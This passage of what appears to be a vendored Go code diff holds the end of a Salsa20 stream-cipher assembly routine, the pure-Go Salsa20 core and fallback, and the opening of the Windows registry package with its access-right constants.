SUBQ $2,DX
|
||||
JA MAINLOOP1
|
||||
PADDL 112(R12),X12
|
||||
PADDL 176(R12),X7
|
||||
PADDL 224(R12),X10
|
||||
PADDL 272(R12),X4
|
||||
MOVD X12,DX
|
||||
MOVD X7,CX
|
||||
MOVD X10,R8
|
||||
MOVD X4,R9
|
||||
PSHUFL $0X39,X12,X12
|
||||
PSHUFL $0X39,X7,X7
|
||||
PSHUFL $0X39,X10,X10
|
||||
PSHUFL $0X39,X4,X4
|
||||
XORL 0(SI),DX
|
||||
XORL 4(SI),CX
|
||||
XORL 8(SI),R8
|
||||
XORL 12(SI),R9
|
||||
MOVL DX,0(DI)
|
||||
MOVL CX,4(DI)
|
||||
MOVL R8,8(DI)
|
||||
MOVL R9,12(DI)
|
||||
MOVD X12,DX
|
||||
MOVD X7,CX
|
||||
MOVD X10,R8
|
||||
MOVD X4,R9
|
||||
PSHUFL $0X39,X12,X12
|
||||
PSHUFL $0X39,X7,X7
|
||||
PSHUFL $0X39,X10,X10
|
||||
PSHUFL $0X39,X4,X4
|
||||
XORL 64(SI),DX
|
||||
XORL 68(SI),CX
|
||||
XORL 72(SI),R8
|
||||
XORL 76(SI),R9
|
||||
MOVL DX,64(DI)
|
||||
MOVL CX,68(DI)
|
||||
MOVL R8,72(DI)
|
||||
MOVL R9,76(DI)
|
||||
MOVD X12,DX
|
||||
MOVD X7,CX
|
||||
MOVD X10,R8
|
||||
MOVD X4,R9
|
||||
PSHUFL $0X39,X12,X12
|
||||
PSHUFL $0X39,X7,X7
|
||||
PSHUFL $0X39,X10,X10
|
||||
PSHUFL $0X39,X4,X4
|
||||
XORL 128(SI),DX
|
||||
XORL 132(SI),CX
|
||||
XORL 136(SI),R8
|
||||
XORL 140(SI),R9
|
||||
MOVL DX,128(DI)
|
||||
MOVL CX,132(DI)
|
||||
MOVL R8,136(DI)
|
||||
MOVL R9,140(DI)
|
||||
MOVD X12,DX
|
||||
MOVD X7,CX
|
||||
MOVD X10,R8
|
||||
MOVD X4,R9
|
||||
XORL 192(SI),DX
|
||||
XORL 196(SI),CX
|
||||
XORL 200(SI),R8
|
||||
XORL 204(SI),R9
|
||||
MOVL DX,192(DI)
|
||||
MOVL CX,196(DI)
|
||||
MOVL R8,200(DI)
|
||||
MOVL R9,204(DI)
|
||||
PADDL 240(R12),X14
|
||||
PADDL 64(R12),X0
|
||||
PADDL 128(R12),X5
|
||||
PADDL 192(R12),X8
|
||||
MOVD X14,DX
|
||||
MOVD X0,CX
|
||||
MOVD X5,R8
|
||||
MOVD X8,R9
|
||||
PSHUFL $0X39,X14,X14
|
||||
PSHUFL $0X39,X0,X0
|
||||
PSHUFL $0X39,X5,X5
|
||||
PSHUFL $0X39,X8,X8
|
||||
XORL 16(SI),DX
|
||||
XORL 20(SI),CX
|
||||
XORL 24(SI),R8
|
||||
XORL 28(SI),R9
|
||||
MOVL DX,16(DI)
|
||||
MOVL CX,20(DI)
|
||||
MOVL R8,24(DI)
|
||||
MOVL R9,28(DI)
|
||||
MOVD X14,DX
|
||||
MOVD X0,CX
|
||||
MOVD X5,R8
|
||||
MOVD X8,R9
|
||||
PSHUFL $0X39,X14,X14
|
||||
PSHUFL $0X39,X0,X0
|
||||
PSHUFL $0X39,X5,X5
|
||||
PSHUFL $0X39,X8,X8
|
||||
XORL 80(SI),DX
|
||||
XORL 84(SI),CX
|
||||
XORL 88(SI),R8
|
||||
XORL 92(SI),R9
|
||||
MOVL DX,80(DI)
|
||||
MOVL CX,84(DI)
|
||||
MOVL R8,88(DI)
|
||||
MOVL R9,92(DI)
|
||||
MOVD X14,DX
|
||||
MOVD X0,CX
|
||||
MOVD X5,R8
|
||||
MOVD X8,R9
|
||||
PSHUFL $0X39,X14,X14
|
||||
PSHUFL $0X39,X0,X0
|
||||
PSHUFL $0X39,X5,X5
|
||||
PSHUFL $0X39,X8,X8
|
||||
XORL 144(SI),DX
|
||||
XORL 148(SI),CX
|
||||
XORL 152(SI),R8
|
||||
XORL 156(SI),R9
|
||||
MOVL DX,144(DI)
|
||||
MOVL CX,148(DI)
|
||||
MOVL R8,152(DI)
|
||||
MOVL R9,156(DI)
|
||||
MOVD X14,DX
|
||||
MOVD X0,CX
|
||||
MOVD X5,R8
|
||||
MOVD X8,R9
|
||||
XORL 208(SI),DX
|
||||
XORL 212(SI),CX
|
||||
XORL 216(SI),R8
|
||||
XORL 220(SI),R9
|
||||
MOVL DX,208(DI)
|
||||
MOVL CX,212(DI)
|
||||
MOVL R8,216(DI)
|
||||
MOVL R9,220(DI)
|
||||
PADDL 288(R12),X15
|
||||
PADDL 304(R12),X11
|
||||
PADDL 80(R12),X1
|
||||
PADDL 144(R12),X6
|
||||
MOVD X15,DX
|
||||
MOVD X11,CX
|
||||
MOVD X1,R8
|
||||
MOVD X6,R9
|
||||
PSHUFL $0X39,X15,X15
|
||||
PSHUFL $0X39,X11,X11
|
||||
PSHUFL $0X39,X1,X1
|
||||
PSHUFL $0X39,X6,X6
|
||||
XORL 32(SI),DX
|
||||
XORL 36(SI),CX
|
||||
XORL 40(SI),R8
|
||||
XORL 44(SI),R9
|
||||
MOVL DX,32(DI)
|
||||
MOVL CX,36(DI)
|
||||
MOVL R8,40(DI)
|
||||
MOVL R9,44(DI)
|
||||
MOVD X15,DX
|
||||
MOVD X11,CX
|
||||
MOVD X1,R8
|
||||
MOVD X6,R9
|
||||
PSHUFL $0X39,X15,X15
|
||||
PSHUFL $0X39,X11,X11
|
||||
PSHUFL $0X39,X1,X1
|
||||
PSHUFL $0X39,X6,X6
|
||||
XORL 96(SI),DX
|
||||
XORL 100(SI),CX
|
||||
XORL 104(SI),R8
|
||||
XORL 108(SI),R9
|
||||
MOVL DX,96(DI)
|
||||
MOVL CX,100(DI)
|
||||
MOVL R8,104(DI)
|
||||
MOVL R9,108(DI)
|
||||
MOVD X15,DX
|
||||
MOVD X11,CX
|
||||
MOVD X1,R8
|
||||
MOVD X6,R9
|
||||
PSHUFL $0X39,X15,X15
|
||||
PSHUFL $0X39,X11,X11
|
||||
PSHUFL $0X39,X1,X1
|
||||
PSHUFL $0X39,X6,X6
|
||||
XORL 160(SI),DX
|
||||
XORL 164(SI),CX
|
||||
XORL 168(SI),R8
|
||||
XORL 172(SI),R9
|
||||
MOVL DX,160(DI)
|
||||
MOVL CX,164(DI)
|
||||
MOVL R8,168(DI)
|
||||
MOVL R9,172(DI)
|
||||
MOVD X15,DX
|
||||
MOVD X11,CX
|
||||
MOVD X1,R8
|
||||
MOVD X6,R9
|
||||
XORL 224(SI),DX
|
||||
XORL 228(SI),CX
|
||||
XORL 232(SI),R8
|
||||
XORL 236(SI),R9
|
||||
MOVL DX,224(DI)
|
||||
MOVL CX,228(DI)
|
||||
MOVL R8,232(DI)
|
||||
MOVL R9,236(DI)
|
||||
PADDL 160(R12),X13
|
||||
PADDL 208(R12),X9
|
||||
PADDL 256(R12),X3
|
||||
PADDL 96(R12),X2
|
||||
MOVD X13,DX
|
||||
MOVD X9,CX
|
||||
MOVD X3,R8
|
||||
MOVD X2,R9
|
||||
PSHUFL $0X39,X13,X13
|
||||
PSHUFL $0X39,X9,X9
|
||||
PSHUFL $0X39,X3,X3
|
||||
PSHUFL $0X39,X2,X2
|
||||
XORL 48(SI),DX
|
||||
XORL 52(SI),CX
|
||||
XORL 56(SI),R8
|
||||
XORL 60(SI),R9
|
||||
MOVL DX,48(DI)
|
||||
MOVL CX,52(DI)
|
||||
MOVL R8,56(DI)
|
||||
MOVL R9,60(DI)
|
||||
MOVD X13,DX
|
||||
MOVD X9,CX
|
||||
MOVD X3,R8
|
||||
MOVD X2,R9
|
||||
PSHUFL $0X39,X13,X13
|
||||
PSHUFL $0X39,X9,X9
|
||||
PSHUFL $0X39,X3,X3
|
||||
PSHUFL $0X39,X2,X2
|
||||
XORL 112(SI),DX
|
||||
XORL 116(SI),CX
|
||||
XORL 120(SI),R8
|
||||
XORL 124(SI),R9
|
||||
MOVL DX,112(DI)
|
||||
MOVL CX,116(DI)
|
||||
MOVL R8,120(DI)
|
||||
MOVL R9,124(DI)
|
||||
MOVD X13,DX
|
||||
MOVD X9,CX
|
||||
MOVD X3,R8
|
||||
MOVD X2,R9
|
||||
PSHUFL $0X39,X13,X13
|
||||
PSHUFL $0X39,X9,X9
|
||||
PSHUFL $0X39,X3,X3
|
||||
PSHUFL $0X39,X2,X2
|
||||
XORL 176(SI),DX
|
||||
XORL 180(SI),CX
|
||||
XORL 184(SI),R8
|
||||
XORL 188(SI),R9
|
||||
MOVL DX,176(DI)
|
||||
MOVL CX,180(DI)
|
||||
MOVL R8,184(DI)
|
||||
MOVL R9,188(DI)
|
||||
MOVD X13,DX
|
||||
MOVD X9,CX
|
||||
MOVD X3,R8
|
||||
MOVD X2,R9
|
||||
XORL 240(SI),DX
|
||||
XORL 244(SI),CX
|
||||
XORL 248(SI),R8
|
||||
XORL 252(SI),R9
|
||||
MOVL DX,240(DI)
|
||||
MOVL CX,244(DI)
|
||||
MOVL R8,248(DI)
|
||||
MOVL R9,252(DI)
|
||||
MOVQ 352(R12),R9
|
||||
SUBQ $256,R9
|
||||
ADDQ $256,SI
|
||||
ADDQ $256,DI
|
||||
CMPQ R9,$256
|
||||
JAE BYTESATLEAST256
|
||||
CMPQ R9,$0
|
||||
JBE DONE
|
||||
BYTESBETWEEN1AND255:
|
||||
CMPQ R9,$64
|
||||
JAE NOCOPY
|
||||
MOVQ DI,DX
|
||||
LEAQ 360(R12),DI
|
||||
MOVQ R9,CX
|
||||
REP; MOVSB
|
||||
LEAQ 360(R12),DI
|
||||
LEAQ 360(R12),SI
|
||||
NOCOPY:
|
||||
MOVQ R9,352(R12)
|
||||
MOVOA 48(R12),X0
|
||||
MOVOA 0(R12),X1
|
||||
MOVOA 16(R12),X2
|
||||
MOVOA 32(R12),X3
|
||||
MOVOA X1,X4
|
||||
MOVQ $20,CX
|
||||
MAINLOOP2:
|
||||
PADDL X0,X4
|
||||
MOVOA X0,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $7,X4
|
||||
PSRLL $25,X6
|
||||
PXOR X4,X3
|
||||
PXOR X6,X3
|
||||
PADDL X3,X5
|
||||
MOVOA X3,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $9,X5
|
||||
PSRLL $23,X6
|
||||
PXOR X5,X2
|
||||
PSHUFL $0X93,X3,X3
|
||||
PXOR X6,X2
|
||||
PADDL X2,X4
|
||||
MOVOA X2,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $13,X4
|
||||
PSRLL $19,X6
|
||||
PXOR X4,X1
|
||||
PSHUFL $0X4E,X2,X2
|
||||
PXOR X6,X1
|
||||
PADDL X1,X5
|
||||
MOVOA X3,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $18,X5
|
||||
PSRLL $14,X6
|
||||
PXOR X5,X0
|
||||
PSHUFL $0X39,X1,X1
|
||||
PXOR X6,X0
|
||||
PADDL X0,X4
|
||||
MOVOA X0,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $7,X4
|
||||
PSRLL $25,X6
|
||||
PXOR X4,X1
|
||||
PXOR X6,X1
|
||||
PADDL X1,X5
|
||||
MOVOA X1,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $9,X5
|
||||
PSRLL $23,X6
|
||||
PXOR X5,X2
|
||||
PSHUFL $0X93,X1,X1
|
||||
PXOR X6,X2
|
||||
PADDL X2,X4
|
||||
MOVOA X2,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $13,X4
|
||||
PSRLL $19,X6
|
||||
PXOR X4,X3
|
||||
PSHUFL $0X4E,X2,X2
|
||||
PXOR X6,X3
|
||||
PADDL X3,X5
|
||||
MOVOA X1,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $18,X5
|
||||
PSRLL $14,X6
|
||||
PXOR X5,X0
|
||||
PSHUFL $0X39,X3,X3
|
||||
PXOR X6,X0
|
||||
PADDL X0,X4
|
||||
MOVOA X0,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $7,X4
|
||||
PSRLL $25,X6
|
||||
PXOR X4,X3
|
||||
PXOR X6,X3
|
||||
PADDL X3,X5
|
||||
MOVOA X3,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $9,X5
|
||||
PSRLL $23,X6
|
||||
PXOR X5,X2
|
||||
PSHUFL $0X93,X3,X3
|
||||
PXOR X6,X2
|
||||
PADDL X2,X4
|
||||
MOVOA X2,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $13,X4
|
||||
PSRLL $19,X6
|
||||
PXOR X4,X1
|
||||
PSHUFL $0X4E,X2,X2
|
||||
PXOR X6,X1
|
||||
PADDL X1,X5
|
||||
MOVOA X3,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $18,X5
|
||||
PSRLL $14,X6
|
||||
PXOR X5,X0
|
||||
PSHUFL $0X39,X1,X1
|
||||
PXOR X6,X0
|
||||
PADDL X0,X4
|
||||
MOVOA X0,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $7,X4
|
||||
PSRLL $25,X6
|
||||
PXOR X4,X1
|
||||
PXOR X6,X1
|
||||
PADDL X1,X5
|
||||
MOVOA X1,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $9,X5
|
||||
PSRLL $23,X6
|
||||
PXOR X5,X2
|
||||
PSHUFL $0X93,X1,X1
|
||||
PXOR X6,X2
|
||||
PADDL X2,X4
|
||||
MOVOA X2,X5
|
||||
MOVOA X4,X6
|
||||
PSLLL $13,X4
|
||||
PSRLL $19,X6
|
||||
PXOR X4,X3
|
||||
PSHUFL $0X4E,X2,X2
|
||||
PXOR X6,X3
|
||||
SUBQ $4,CX
|
||||
PADDL X3,X5
|
||||
MOVOA X1,X4
|
||||
MOVOA X5,X6
|
||||
PSLLL $18,X5
|
||||
PXOR X7,X7
|
||||
PSRLL $14,X6
|
||||
PXOR X5,X0
|
||||
PSHUFL $0X39,X3,X3
|
||||
PXOR X6,X0
|
||||
JA MAINLOOP2
|
||||
PADDL 48(R12),X0
|
||||
PADDL 0(R12),X1
|
||||
PADDL 16(R12),X2
|
||||
PADDL 32(R12),X3
|
||||
MOVD X0,CX
|
||||
MOVD X1,R8
|
||||
MOVD X2,R9
|
||||
MOVD X3,AX
|
||||
PSHUFL $0X39,X0,X0
|
||||
PSHUFL $0X39,X1,X1
|
||||
PSHUFL $0X39,X2,X2
|
||||
PSHUFL $0X39,X3,X3
|
||||
XORL 0(SI),CX
|
||||
XORL 48(SI),R8
|
||||
XORL 32(SI),R9
|
||||
XORL 16(SI),AX
|
||||
MOVL CX,0(DI)
|
||||
MOVL R8,48(DI)
|
||||
MOVL R9,32(DI)
|
||||
MOVL AX,16(DI)
|
||||
MOVD X0,CX
|
||||
MOVD X1,R8
|
||||
MOVD X2,R9
|
||||
MOVD X3,AX
|
||||
PSHUFL $0X39,X0,X0
|
||||
PSHUFL $0X39,X1,X1
|
||||
PSHUFL $0X39,X2,X2
|
||||
PSHUFL $0X39,X3,X3
|
||||
XORL 20(SI),CX
|
||||
XORL 4(SI),R8
|
||||
XORL 52(SI),R9
|
||||
XORL 36(SI),AX
|
||||
MOVL CX,20(DI)
|
||||
MOVL R8,4(DI)
|
||||
MOVL R9,52(DI)
|
||||
MOVL AX,36(DI)
|
||||
MOVD X0,CX
|
||||
MOVD X1,R8
|
||||
MOVD X2,R9
|
||||
MOVD X3,AX
|
||||
PSHUFL $0X39,X0,X0
|
||||
PSHUFL $0X39,X1,X1
|
||||
PSHUFL $0X39,X2,X2
|
||||
PSHUFL $0X39,X3,X3
|
||||
XORL 40(SI),CX
|
||||
XORL 24(SI),R8
|
||||
XORL 8(SI),R9
|
||||
XORL 56(SI),AX
|
||||
MOVL CX,40(DI)
|
||||
MOVL R8,24(DI)
|
||||
MOVL R9,8(DI)
|
||||
MOVL AX,56(DI)
|
||||
MOVD X0,CX
|
||||
MOVD X1,R8
|
||||
MOVD X2,R9
|
||||
MOVD X3,AX
|
||||
XORL 60(SI),CX
|
||||
XORL 44(SI),R8
|
||||
XORL 28(SI),R9
|
||||
XORL 12(SI),AX
|
||||
MOVL CX,60(DI)
|
||||
MOVL R8,44(DI)
|
||||
MOVL R9,28(DI)
|
||||
MOVL AX,12(DI)
|
||||
MOVQ 352(R12),R9
|
||||
MOVL 16(R12),CX
|
||||
MOVL 36 (R12),R8
|
||||
ADDQ $1,CX
|
||||
SHLQ $32,R8
|
||||
ADDQ R8,CX
|
||||
MOVQ CX,R8
|
||||
SHRQ $32,R8
|
||||
MOVL CX,16(R12)
|
||||
MOVL R8, 36 (R12)
|
||||
CMPQ R9,$64
|
||||
JA BYTESATLEAST65
|
||||
JAE BYTESATLEAST64
|
||||
MOVQ DI,SI
|
||||
MOVQ DX,DI
|
||||
MOVQ R9,CX
|
||||
REP; MOVSB
|
||||
BYTESATLEAST64:
|
||||
DONE:
|
||||
RET
|
||||
BYTESATLEAST65:
|
||||
SUBQ $64,R9
|
||||
ADDQ $64,DI
|
||||
ADDQ $64,SI
|
||||
JMP BYTESBETWEEN1AND255
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build !amd64 || purego || !gc
|
||||
|
||||
package salsa
|
||||
|
||||
// XORKeyStream crypts bytes from in to out using the given key and counters.
|
||||
// In and out must overlap entirely or not at all. Counter
|
||||
// contains the raw salsa20 counter bytes (both nonce and block counter).
|
||||
func XORKeyStream(out, in []byte, counter *[16]byte, key *[32]byte) {
|
||||
genericXORKeyStream(out, in, counter, key)
|
||||
}
|
||||
|
|
@ -0,0 +1,233 @@
|
|||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package salsa
|
||||
|
||||
import "math/bits"
|
||||
|
||||
const rounds = 20
|
||||
|
||||
// core applies the Salsa20 core function to 16-byte input in, 32-byte key k,
|
||||
// and 16-byte constant c, and puts the result into 64-byte array out.
|
||||
func core(out *[64]byte, in *[16]byte, k *[32]byte, c *[16]byte) {
|
||||
j0 := uint32(c[0]) | uint32(c[1])<<8 | uint32(c[2])<<16 | uint32(c[3])<<24
|
||||
j1 := uint32(k[0]) | uint32(k[1])<<8 | uint32(k[2])<<16 | uint32(k[3])<<24
|
||||
j2 := uint32(k[4]) | uint32(k[5])<<8 | uint32(k[6])<<16 | uint32(k[7])<<24
|
||||
j3 := uint32(k[8]) | uint32(k[9])<<8 | uint32(k[10])<<16 | uint32(k[11])<<24
|
||||
j4 := uint32(k[12]) | uint32(k[13])<<8 | uint32(k[14])<<16 | uint32(k[15])<<24
|
||||
j5 := uint32(c[4]) | uint32(c[5])<<8 | uint32(c[6])<<16 | uint32(c[7])<<24
|
||||
j6 := uint32(in[0]) | uint32(in[1])<<8 | uint32(in[2])<<16 | uint32(in[3])<<24
|
||||
j7 := uint32(in[4]) | uint32(in[5])<<8 | uint32(in[6])<<16 | uint32(in[7])<<24
|
||||
j8 := uint32(in[8]) | uint32(in[9])<<8 | uint32(in[10])<<16 | uint32(in[11])<<24
|
||||
j9 := uint32(in[12]) | uint32(in[13])<<8 | uint32(in[14])<<16 | uint32(in[15])<<24
|
||||
j10 := uint32(c[8]) | uint32(c[9])<<8 | uint32(c[10])<<16 | uint32(c[11])<<24
|
||||
j11 := uint32(k[16]) | uint32(k[17])<<8 | uint32(k[18])<<16 | uint32(k[19])<<24
|
||||
j12 := uint32(k[20]) | uint32(k[21])<<8 | uint32(k[22])<<16 | uint32(k[23])<<24
|
||||
j13 := uint32(k[24]) | uint32(k[25])<<8 | uint32(k[26])<<16 | uint32(k[27])<<24
|
||||
j14 := uint32(k[28]) | uint32(k[29])<<8 | uint32(k[30])<<16 | uint32(k[31])<<24
|
||||
j15 := uint32(c[12]) | uint32(c[13])<<8 | uint32(c[14])<<16 | uint32(c[15])<<24
|
||||
|
||||
x0, x1, x2, x3, x4, x5, x6, x7, x8 := j0, j1, j2, j3, j4, j5, j6, j7, j8
|
||||
x9, x10, x11, x12, x13, x14, x15 := j9, j10, j11, j12, j13, j14, j15
|
||||
|
||||
for i := 0; i < rounds; i += 2 {
|
||||
u := x0 + x12
|
||||
x4 ^= bits.RotateLeft32(u, 7)
|
||||
u = x4 + x0
|
||||
x8 ^= bits.RotateLeft32(u, 9)
|
||||
u = x8 + x4
|
||||
x12 ^= bits.RotateLeft32(u, 13)
|
||||
u = x12 + x8
|
||||
x0 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x5 + x1
|
||||
x9 ^= bits.RotateLeft32(u, 7)
|
||||
u = x9 + x5
|
||||
x13 ^= bits.RotateLeft32(u, 9)
|
||||
u = x13 + x9
|
||||
x1 ^= bits.RotateLeft32(u, 13)
|
||||
u = x1 + x13
|
||||
x5 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x10 + x6
|
||||
x14 ^= bits.RotateLeft32(u, 7)
|
||||
u = x14 + x10
|
||||
x2 ^= bits.RotateLeft32(u, 9)
|
||||
u = x2 + x14
|
||||
x6 ^= bits.RotateLeft32(u, 13)
|
||||
u = x6 + x2
|
||||
x10 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x15 + x11
|
||||
x3 ^= bits.RotateLeft32(u, 7)
|
||||
u = x3 + x15
|
||||
x7 ^= bits.RotateLeft32(u, 9)
|
||||
u = x7 + x3
|
||||
x11 ^= bits.RotateLeft32(u, 13)
|
||||
u = x11 + x7
|
||||
x15 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x0 + x3
|
||||
x1 ^= bits.RotateLeft32(u, 7)
|
||||
u = x1 + x0
|
||||
x2 ^= bits.RotateLeft32(u, 9)
|
||||
u = x2 + x1
|
||||
x3 ^= bits.RotateLeft32(u, 13)
|
||||
u = x3 + x2
|
||||
x0 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x5 + x4
|
||||
x6 ^= bits.RotateLeft32(u, 7)
|
||||
u = x6 + x5
|
||||
x7 ^= bits.RotateLeft32(u, 9)
|
||||
u = x7 + x6
|
||||
x4 ^= bits.RotateLeft32(u, 13)
|
||||
u = x4 + x7
|
||||
x5 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x10 + x9
|
||||
x11 ^= bits.RotateLeft32(u, 7)
|
||||
u = x11 + x10
|
||||
x8 ^= bits.RotateLeft32(u, 9)
|
||||
u = x8 + x11
|
||||
x9 ^= bits.RotateLeft32(u, 13)
|
||||
u = x9 + x8
|
||||
x10 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x15 + x14
|
||||
x12 ^= bits.RotateLeft32(u, 7)
|
||||
u = x12 + x15
|
||||
x13 ^= bits.RotateLeft32(u, 9)
|
||||
u = x13 + x12
|
||||
x14 ^= bits.RotateLeft32(u, 13)
|
||||
u = x14 + x13
|
||||
x15 ^= bits.RotateLeft32(u, 18)
|
||||
}
|
||||
x0 += j0
|
||||
x1 += j1
|
||||
x2 += j2
|
||||
x3 += j3
|
||||
x4 += j4
|
||||
x5 += j5
|
||||
x6 += j6
|
||||
x7 += j7
|
||||
x8 += j8
|
||||
x9 += j9
|
||||
x10 += j10
|
||||
x11 += j11
|
||||
x12 += j12
|
||||
x13 += j13
|
||||
x14 += j14
|
||||
x15 += j15
|
||||
|
||||
out[0] = byte(x0)
|
||||
out[1] = byte(x0 >> 8)
|
||||
out[2] = byte(x0 >> 16)
|
||||
out[3] = byte(x0 >> 24)
|
||||
|
||||
out[4] = byte(x1)
|
||||
out[5] = byte(x1 >> 8)
|
||||
out[6] = byte(x1 >> 16)
|
||||
out[7] = byte(x1 >> 24)
|
||||
|
||||
out[8] = byte(x2)
|
||||
out[9] = byte(x2 >> 8)
|
||||
out[10] = byte(x2 >> 16)
|
||||
out[11] = byte(x2 >> 24)
|
||||
|
||||
out[12] = byte(x3)
|
||||
out[13] = byte(x3 >> 8)
|
||||
out[14] = byte(x3 >> 16)
|
||||
out[15] = byte(x3 >> 24)
|
||||
|
||||
out[16] = byte(x4)
|
||||
out[17] = byte(x4 >> 8)
|
||||
out[18] = byte(x4 >> 16)
|
||||
out[19] = byte(x4 >> 24)
|
||||
|
||||
out[20] = byte(x5)
|
||||
out[21] = byte(x5 >> 8)
|
||||
out[22] = byte(x5 >> 16)
|
||||
out[23] = byte(x5 >> 24)
|
||||
|
||||
out[24] = byte(x6)
|
||||
out[25] = byte(x6 >> 8)
|
||||
out[26] = byte(x6 >> 16)
|
||||
out[27] = byte(x6 >> 24)
|
||||
|
||||
out[28] = byte(x7)
|
||||
out[29] = byte(x7 >> 8)
|
||||
out[30] = byte(x7 >> 16)
|
||||
out[31] = byte(x7 >> 24)
|
||||
|
||||
out[32] = byte(x8)
|
||||
out[33] = byte(x8 >> 8)
|
||||
out[34] = byte(x8 >> 16)
|
||||
out[35] = byte(x8 >> 24)
|
||||
|
||||
out[36] = byte(x9)
|
||||
out[37] = byte(x9 >> 8)
|
||||
out[38] = byte(x9 >> 16)
|
||||
out[39] = byte(x9 >> 24)
|
||||
|
||||
out[40] = byte(x10)
|
||||
out[41] = byte(x10 >> 8)
|
||||
out[42] = byte(x10 >> 16)
|
||||
out[43] = byte(x10 >> 24)
|
||||
|
||||
out[44] = byte(x11)
|
||||
out[45] = byte(x11 >> 8)
|
||||
out[46] = byte(x11 >> 16)
|
||||
out[47] = byte(x11 >> 24)
|
||||
|
||||
out[48] = byte(x12)
|
||||
out[49] = byte(x12 >> 8)
|
||||
out[50] = byte(x12 >> 16)
|
||||
out[51] = byte(x12 >> 24)
|
||||
|
||||
out[52] = byte(x13)
|
||||
out[53] = byte(x13 >> 8)
|
||||
out[54] = byte(x13 >> 16)
|
||||
out[55] = byte(x13 >> 24)
|
||||
|
||||
out[56] = byte(x14)
|
||||
out[57] = byte(x14 >> 8)
|
||||
out[58] = byte(x14 >> 16)
|
||||
out[59] = byte(x14 >> 24)
|
||||
|
||||
out[60] = byte(x15)
|
||||
out[61] = byte(x15 >> 8)
|
||||
out[62] = byte(x15 >> 16)
|
||||
out[63] = byte(x15 >> 24)
|
||||
}
|
||||
|
||||
// genericXORKeyStream is the generic implementation of XORKeyStream to be used
|
||||
// when no assembly implementation is available.
|
||||
func genericXORKeyStream(out, in []byte, counter *[16]byte, key *[32]byte) {
|
||||
var block [64]byte
|
||||
var counterCopy [16]byte
|
||||
copy(counterCopy[:], counter[:])
|
||||
|
||||
for len(in) >= 64 {
|
||||
core(&block, &counterCopy, key, &Sigma)
|
||||
for i, x := range block {
|
||||
out[i] = in[i] ^ x
|
||||
}
|
||||
u := uint32(1)
|
||||
for i := 8; i < 16; i++ {
|
||||
u += uint32(counterCopy[i])
|
||||
counterCopy[i] = byte(u)
|
||||
u >>= 8
|
||||
}
|
||||
in = in[64:]
|
||||
out = out[64:]
|
||||
}
|
||||
|
||||
if len(in) > 0 {
|
||||
core(&block, &counterCopy, key, &Sigma)
|
||||
for i, v := range in {
|
||||
out[i] = v ^ block[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,205 @@
|
|||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build windows
|
||||
|
||||
// Package registry provides access to the Windows registry.
|
||||
//
|
||||
// Here is a simple example, opening a registry key and reading a string value from it.
|
||||
//
|
||||
// k, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// defer k.Close()
|
||||
//
|
||||
// s, _, err := k.GetStringValue("SystemRoot")
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// fmt.Printf("Windows system root is %q\n", s)
|
||||
package registry
|
||||
|
||||
import (
|
||||
"io"
|
||||
"runtime"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
// Registry key security and access rights.
|
||||
// See https://msdn.microsoft.com/en-us/library/windows/desktop/ms724878.aspx
|
||||
// for details.
|
||||
ALL_ACCESS = 0xf003f
|
||||
CREATE_LINK = 0x00020
|
||||
CREATE_SUB_KEY = 0x00004
|
||||
ENUMERATE_SUB_KEYS = 0x00008
|
||||
EXECUTE = 0x20019
|
||||
NOTIFY = 0x00010
|
||||
QUERY_VALUE = 0x00001
|
||||
READ = 0x20019
|
||||
SET_VALUE = 0x00002
|
||||
WOW64_32KEY = 0x00200
|
||||
WOW64_64KEY = 0x00100
|
||||
WRITE = 0x20006
|
||||
)
|
||||
|
||||
// Key is a handle to an open Windows registry key.
|
||||
// Keys can be obtained by calling OpenKey; there are
|
||||
// also some predefined root keys such as CURRENT_USER.
|
||||
// Keys can be used directly in the Windows API.
|
||||
type Key syscall.Handle
|
||||
|
||||
const (
|
||||
// Windows defines some predefined root keys that are always open.
|
||||
// An application can use these keys as entry points to the registry.
|
||||
// Normally these keys are used in OpenKey to open new keys,
|
||||
// but they can also be used anywhere a Key is required.
|
||||
CLASSES_ROOT = Key(syscall.HKEY_CLASSES_ROOT)
|
||||
CURRENT_USER = Key(syscall.HKEY_CURRENT_USER)
|
||||
LOCAL_MACHINE = Key(syscall.HKEY_LOCAL_MACHINE)
|
||||
USERS = Key(syscall.HKEY_USERS)
|
||||
CURRENT_CONFIG = Key(syscall.HKEY_CURRENT_CONFIG)
|
||||
PERFORMANCE_DATA = Key(syscall.HKEY_PERFORMANCE_DATA)
|
||||
)
|
||||
|
||||
// Close closes open key k.
